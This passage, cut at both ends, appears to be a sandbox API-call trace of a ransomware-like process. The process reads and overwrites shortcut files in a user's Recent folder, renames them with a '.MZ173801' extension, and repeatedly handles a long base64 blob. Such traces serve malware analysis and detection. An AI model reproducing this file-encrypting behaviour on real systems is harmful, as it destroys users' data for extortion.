TlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.533] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\l06dSkIuNpZzb6PM.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\l06dskiunpzzb6pm.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.533] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.533] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.533] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x1498 [0121.533] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.533] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x1498, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x1498, lpOverlapped=0x0) returned 1 [0121.534] CloseHandle (hObject=0x288) returned 1 [0121.534] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\l06dSkIuNpZzb6PM.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\l06dskiunpzzb6pm.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.535] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x1498, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x1498, lpOverlapped=0x0) returned 1 [0121.536] CloseHandle (hObject=0x288) returned 1 [0121.544] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\l06dSkIuNpZzb6PM.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\l06dskiunpzzb6pm.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\l06dSkIuNpZzb6PM.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\l06dskiunpzzb6pm.lnk.mz173801")) returned 1 [0121.546] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfc110a0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfc110a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfc110a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x302, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="l5gwby9o.flv.lnk", cAlternateFileName="L5GWBY~1.LNK")) returned 1 [0121.546] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.546] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.546] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\l5gwby9o.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\l5gwby9o.flv.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfc110a0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfc110a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfc110a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x302)) returned 1 [0121.547] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.547] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.548] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\l5gwby9o.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\l5gwby9o.flv.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.549] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.549] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.549] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x302 [0121.549] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.549] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x302, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x302, lpOverlapped=0x0) returned 1 [0121.550] CloseHandle (hObject=0x288) returned 1 [0121.550] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\l5gwby9o.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\l5gwby9o.flv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.551] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x302, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x302, lpOverlapped=0x0) returned 1 [0121.551] CloseHandle (hObject=0x288) returned 1 [0121.552] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\l5gwby9o.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\l5gwby9o.flv.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\l5gwby9o.flv.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\l5gwby9o.flv.lnk.mz173801")) returned 1 [0121.553] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf6b5f20, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf6b5f20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf6b5f20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x13bd, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="lcH9zf19U.lnk", cAlternateFileName="LCH9ZF~1.LNK")) returned 1 [0121.553] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.554] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.554] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\lcH9zf19U.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\lch9zf19u.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf6b5f20, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf6b5f20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf6b5f20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x13bd)) returned 1 [0121.555] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.555] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2O